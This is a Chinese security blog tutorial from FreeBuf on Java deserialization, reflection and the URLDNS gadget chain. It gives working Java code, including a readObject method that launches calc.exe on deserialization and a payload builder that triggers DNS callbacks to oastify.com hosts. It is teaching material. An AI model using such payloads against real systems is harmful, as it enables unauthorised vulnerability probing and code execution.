freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JAVA URLDNS链分析利用
2023-07-18 21:56:06
所属地 河南省

JAVA URLDNS链分析利用

认java反序列化知识

Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口从而将对象转化为字节序列用于对对象数据进行存储转移

举例:

package org.example;//对象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
  private transient String name;//transient表示不会被序列化带上后会发现后面name是null
  private int age;
  public Person(){

  }// 构造函数
  public Person(String name, int age){
      this.name = name;
      this.age = age;
  }
  @Override
  public String toString(){
      return "Person{" +
              "name='" + name + '\'' +
              ", age=" + age +
              '}';
  }
  private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
      ois.defaultReadObject();//调用ois.defaultReadObject()读取默认对象字段
      Runtime.getRuntime().exec("calc.exe");//代码执行命令Runtime.getRuntime().exec("calc.exe")
  }                                       //来调用计算器应用程序。
}//会弹出个计算机

序列化

package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);//获得序列化数据生成ser.bin文件
  }
  public static void main(String[] args) throws Exception{
      Person person= new Person("aa",22);
      System.out.println(person);//打印
      serialize(person);              //序列化


打印并生成ser.bin文件


能看出来一点点知道是序列化但要怎样解出来具体内容就要反序列化读取或者分析源码了

反序列化

package org.example;//反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }

  public static void main(String[] args) throws Exception{
      Person person = (Person)unserialize("ser.bin");//反序列化强制转换类型
      System.out.println(person);//打印
  }
}


成功弹出计算机。 但实际上像 Runtime.getRuntime().exec("calc.exe");这种不会直接调用这种危险的方法的

URLDNS链

URLDNS与版本无关,这个攻击是依赖于Java内置类

URLDNS反序列化链只能发起DNS请求无法进行其他利用攻击可作为验证是否有反序列化漏洞

源码

使用bp生成个链接

package org.example;//正常urldns序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;

public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);
  }

  public static void main(String[] args) throws Exception{
      HashMap<URL,Integer> hashmap= new HashMap<>();//new累
      URL url =new URL("http://ulj8wykdbqhab5ywew263gbyzp5kt9.oastify.com");//bp生成
      //Class c = url.getClass();
      //Field hashcodefield=c.getDeclaredField("hashCode");
      //hashcodefield.setAccessible(true);
      //int originalHashCode = hashcodefield.getInt(url);
      //hashcodefield.set(url,123);
      //int or = hashcodefield.getInt(url);
      //new之后 hashCode = -1 复制后 hashCode != -1就会发生dns请求

      hashmap.put(url,1);
      //int orr = hashcodefield.getInt(url);
      //hashcodefield.set(url,originalHashCode);
      //int orrr = hashcodefield.getInt(url);
//          如果在这个位置将hashCode 改回 -1 就不会发生dns请求从而可以通过dns请求是否发生来判断是否反序列化
//        Person person = new Person("aa",22);
//        System.out.println(person);
      serialize(hashmap);
  }
package org.example;//反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }
  public static void main(String[] args) throws Exception{
     unserialize("ser.bin");
  }
}

调试

先序列化运行一次尝试查看

image-20230718150237706

我们运行后发现 **hashmap.put(url,1);**put后便发起了dns请求即会导致我们收到dns后无法判断该dns是不是反序列化发出的。

查找DNS的原因

ctrl+单机左键分别跟进函数

URL

URL ——>public URL(String spec) throws MalformedURLException {
  private int hashCode = -1;//跟进这个发现当url被new出了 hashCode被赋值为-1

image-20230718161400289image-20230718161743988

PUT

hashmap.put(url,1)
  put——>putVal(hash(key)
        hash——> (h = key.hashCode()) ^ (h >>> 16)
               hashCode

hashmap.put----.>

k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150727563.png

k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150744365.png

hashmap.put----.>hash---->

image-20230718162025962

hashmap.put----.>hash---->hashCode---->

image-20230718162044876

image-20230718161400289

image-20230718163404677

hashmap.put----.>hash---->hashCode---->getHostAddress---->

image-20230718163555629

HashMap传入一个URL时,会进行一次DNS解析,并将hashCode赋值为-1 当进行put时就会触发dns

调用hash(key)方法,此时也会判断key的hashMap,如果是-1则会触发一次dns请求所以假设我们可以控制hashCode的值当初次进行hashmap.put(url,1);时我们将其改为其他值,hashmap.put(url,1)后再将其改回**-1**这样就可通过DNS判断是否反序列化.这个需要引入Java中的反射的知识

hashmap.put----.>hash---->hashCode---->getHostAddress--->DNS

Java中的反射

概念

Java中的反射是指在运行时动态地获取类的信息并操作类的成员(字段、方法、构造函数等)的能力。通过反射,可以在运行时获取类的信息,如类的名称、父类、接口、字段、方法等,并且可以通过反射的API来动态地创建对象、调用方法、访问和修改字段等。

Java的反射机制主要由以下几个类和接口组成:

Class类:表示一个类或接口,在运行时可以获取类的信息,如名称、父类、接口、字段、方法等。
Constructor类:表示一个构造函数,可以通过Constructor类来创建对象。
Field类:表示一个字段(成员变量),可以通过Field类来访问和修改字段的值。
Method类:表示一个方法,可以通过Method类来调用方法。

个人理解:

反射就是中途改一些定义好或者生成好的数值,当一个类. 方法啥的在被调用是我们可以通过反射机制创造出一个一样的并且这个我们可以对其属性值进行更改.

反射优缺点

优点:

动态性:反射使得程序能够在运行时动态地获取和操作类的信息,而不需要在编译时就确定类的具体类型。这使得程序能够更加灵活和适应不同的情况。
扩展性:通过反射,程序可以动态地加载和使用不同的类,从而实现更好的扩展性。这在一些框架和插件系统中非常有用,可以让程序在不修改代码的情况下添加新的功能。
调试和分析:反射可以用于调试和分析程序。通过反射,可以获取类的结构信息,查看字段、方法、构造函数等的属性和值,帮助开发人员理解和排查问题。

缺点:

性能开销:反射通常比直接调用方法或访问字段的方式更加耗时。这是因为反射需要在运行时进行额外的检查和处理,包括访问权限检查、类型转换等。因此,在性能要求较高的场景下,反射可能不是一个好的选择。
安全性问题:反射可以绕过访问权限的限制,让程序可以访问和修改本来不应该被访问的类、方法、字段等。这可能会引发安全漏洞,因此在使用反射时需要谨慎处理权限控制。
可读性和维护性:使用反射可以让代码更加灵活和动态,但也会增加代码的复杂性和难度。反射的使用通常需要更多的代码和更复杂的逻辑,这可能会降低代码的可读性和维护性。

反射的用途

在反序列化中他的作用就是改属性值

举例

源码

package org.example;//对象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
  private transient String name;
  private int age;
  public Person(){

  }// 构造函数
  public Person(String name, int age){
      this.name = name;
      this.age = age;
  }
  @Override
  public String toString(){
      return "Person{" +
              "name='" + name + '\'' +
              ", age=" + age +
              '}';
  }
}
package org.example;//反射

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Reflectiontest {
  public static void main(String[] args) throws Exception{
      Person person = new Person();//new一个对象
      //整个Class类对象
      Class a = person.getClass();
      //开始操作Class
      //a.newInstance();无参
      //a.getConstructor();有参
      //从原型class实例化对象
      Constructor person_constructor = a.getConstructor(String.class,int.class);
//选择合适的构造函数,根据参数类型选择构造函数(知道对象是一个名字一个年龄所以String.class,int.class)
      Person p = (Person) person_constructor.newInstance("小王",222);  //实例化一个类对象
      System.out.println(p);//打印

      Field  personfields =a.getDeclaredField("name");//获取Person类的私有字段name
      personfields.setAccessible(true);//获得私有成员的访问限制
      personfields.set(p,"小李");//将name字段进行更改
       System.out.println(p);//打印

      //下面是其他用法
      //获取类里面的属性
      //同时编辑多行 alt+shift+ins
      //      Field[] personfields = a.getFields();   //只能获得public类型的属性
      //      for(Field f:personfields){//打印
      //          System.out.println(f);
      //      }
      //Method[] aa=a.getMethods();//类或接口的所有公共方法
      //for (Method n:aa){        //批量打印
      //    System.out.println(n);
      //}
//        Field[] personfields1 = a.getDeclaredFields();   //可以获取public,protected,private属性
//        for(Field f:personfields1){
//            System.out.println(f);
//        }

      //获取特定的属性
      //Field namefield = a.getDeclaredField("sex");
      //如果遇到private属性,需要用这个,表示可以修改;而public 和 protected可以直接修改
      //namefield.setAccessible(true);
//        namefield.set(p,"aaa");
//        System.out.println(p);

      //获取方法,调用方法
      //得到所有方法
      //     Method[] personmethods = a.getMethods();
      //     for(Method i:personmethods){
      //         System.out.println(i);
      //     }

      //得到特定的方法
//        Method actionmethod  = a.getMethod("action", String.class);
//        actionmethod.invoke(p,"aaas");
//        System.out.println(p);
      //如果要调用私有方法,那么也是使用declared,还有setaccessible
  }
}

image-20230718184726771

注意:jdk9一搜可能出现

image-20230718185016400

module java.base does not “opens java.lang” to unnamed module @1941a8ff//报错出现什么将什么替换
  --add-opens java.base/java.lang=ALL-UNNAMED//在编译配置中添加vm即可

module java.base does not “opens java.lang.reflect“ to unnamed module
  --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED

URLDNS攻击链

链子:HashMap类的put方法中调用了hash()方法->HashMap类的hash()方法中调用了hashCode()方法

package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;

public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);
  }

  public static void main(String[] args) throws Exception{
      HashMap<URL,Integer> hashmap= new HashMap<>();//开始
      URL url =new URL("http://qd7ybrqywdf1nej0k23pupu6lxrqff.oastify.com");//传入url
      Class c = url.getClass();//反射
      Field hashcodefield=c.getDeclaredField("hashCode");//获取hashCode参数
      hashcodefield.setAccessible(true);//获得私有成员的访问限制
      int originalHashCode = hashcodefield.getInt(url);//存一下初始值 -1
      hashcodefield.set(url,123);//修改hashCode的值
      int or = hashcodefield.getInt(url);//观察修改后hashCode的值
      //new之后 hashCode = -1 复制后 hashCode != -1就会发生dns请求

      hashmap.put(url,1);//put
      int orr = hashcodefield.getInt(url);//没啥用,只是为了在动态调试中观察put后hashCode的数值
      hashcodefield.set(url,originalHashCode);//修改回hashCode的值 -1
      int orrr = hashcodefield.getInt(url);//没啥用,只是为了在动态调试中观察hashCode的数值
//          如果在这个位置将hashCode 改回 -1 就不会发生dns请求从而可以通过dns请求是否发生来判断是否反序列化
      serialize(hashmap);
  }
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }
  public static void main(String[] args) throws Exception{
//        Person person = (Person)unserialize("ser.bin");
//        System.out.println(person);
      unserialize("ser.bin");
  }
}

运行看一下

image-20230718204643435

发现序列化后并没有发起请求

反序列化

image-20230718205141538

可以观察到反序列化后发起了DNS请求,这说明我们的URLDNS链制作完成,我们可以通过DNS请求判断是否发生反序列化

动调观察一下 hashCode的值

image-20230718205903994

发现和我们设想的较为一致.

自此URLDNS链算是结束了,初始java反序列化感觉巨难但多看几遍自己调试几遍感觉也还可用哈!!!

# 网络安全 # web安全 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录